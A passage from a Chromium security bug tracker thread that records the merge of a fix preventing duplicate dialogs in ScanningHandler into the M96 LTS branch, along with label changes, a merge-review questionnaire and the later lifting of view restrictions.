Adding LTS-Merge-Candidate back because I skipped <https://crrev.com/c/3611127>

**Comment 54** by [rzanoni@google.com](mailto:rzanoni@google.com) on Wed, Apr 27, 2022, 2:50 PM EDT

**Labels:** -LTS-Evaluating-96 LTS-Merge-Request-96

**Comment 55** by [sheriffbot](#) on Wed, Apr 27, 2022, 2:51 PM EDT

**Labels:** -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

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[Comment 56](#) Deleted

[Comment 57](#) by [rzanoni@google.com](mailto:rzanoni@google.com) on Thu, Apr 28, 2022, 10:48 AM EDT

1. Just <https://crrev.com/c/3611127>
2. Low, just a simple conflict with the way the argument list is checked on the changed code
3. 101
4. Yes

[Comment 58](#) by [gmpritchard@google.com](mailto:gmpritchard@google.com) on Mon, May 2, 2022, 12:34 PM EDT

**Labels:** -LTS-Merge-Candidate -LTS-Merge-Review-96 LTS-Merge-Approved-96

[Comment 59](#) by [Git Watcher](#) on Tue, May 3, 2022, 9:17 AM EDT

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+1c4f05e0cf217f48541ff490673664a37e8ad53a>

commit [1c4f05e0cf217f48541ff490673664a37e8ad53a](#)

Author: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Date: Tue May 03 13:16:36 2022

[M96-LTS] Prevent the creation of a duplicate dialog in ScanningHandler

M96 merge issues:

scanning\_handler.cc:

Conflicting ways of checking the args list

(cherry picked from commit [b7209bc027a96c83473ea6390ffbef3550e3860d](#))

~~[Bug-1306394](#)~~

Change-Id: I315ca8f8d6ce368f0cdf56956c1dc79a9805547e

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3545287>

Commit-Queue: Patrick Monette <[pmonette@chromium.org](mailto:pmonette@chromium.org)>

Cr-Original-Commit-Position: refs/heads/main@{#985509}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3611127>

Reviewed-by: Victor-Gabriel Savu <[vsavu@google.com](mailto:vsavu@google.com)>

Owners-Override: Victor-Gabriel Savu <[vsavu@google.com](mailto:vsavu@google.com)>

Commit-Queue: Roger Felipe Zandoni da Silva <[rzanoni@google.com](mailto:rzanoni@google.com)>

Cr-Commit-Position: refs/branch-heads/4664@{#1612}

Cr-Branched-From: [24dc4ee75e01a29d390d43c9c264372a169273a7](#)-refs/heads/main@{#929512}

[modify] [https://crrev.com/1c4f05e0cf217f48541ff490673664a37e8ad53a/ash/webui/scanning/scanning\\_handler.cc](https://crrev.com/1c4f05e0cf217f48541ff490673664a37e8ad53a/ash/webui/scanning/scanning_handler.cc)  
[modify] [https://crrev.com/1c4f05e0cf217f48541ff490673664a37e8ad53a/ash/webui/scanning/scanning\\_handler\\_unittest.cc](https://crrev.com/1c4f05e0cf217f48541ff490673664a37e8ad53a/ash/webui/scanning/scanning_handler_unittest.cc)

[Comment 60](#) by [rzanoni@google.com](mailto:rzanoni@google.com) on Tue, May 3, 2022, 9:19 AM EDT

**Labels:** -LTS-Merge-Approved-96 LTS-Merged-90

[Comment 61](#) by [rzanoni@google.com](mailto:rzanoni@google.com) on Tue, May 3, 2022, 9:19 AM EDT

**Labels:** -LTS-Merged-90 LTS-Merge-Merged-96

[Comment 62](#) by [sheriffbot](#) on Thu, Jul 14, 2022, 1:32 PM EDT

**Labels:** -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 63](#) by [amyressler@google.com](mailto:amyressler@google.com) on Tue, Jul 26, 2022, 5:37 PM EDT

**Labels:** CVE\_description-submitted -CVE\_description-missing

[Comment 64](#) by [amyressler@chromium.org](mailto:amyressler@chromium.org) on Fri, Jul 29, 2022, 5:26 PM EDT

**Labels:** -CVE\_description-missing --CVE\_description-missing

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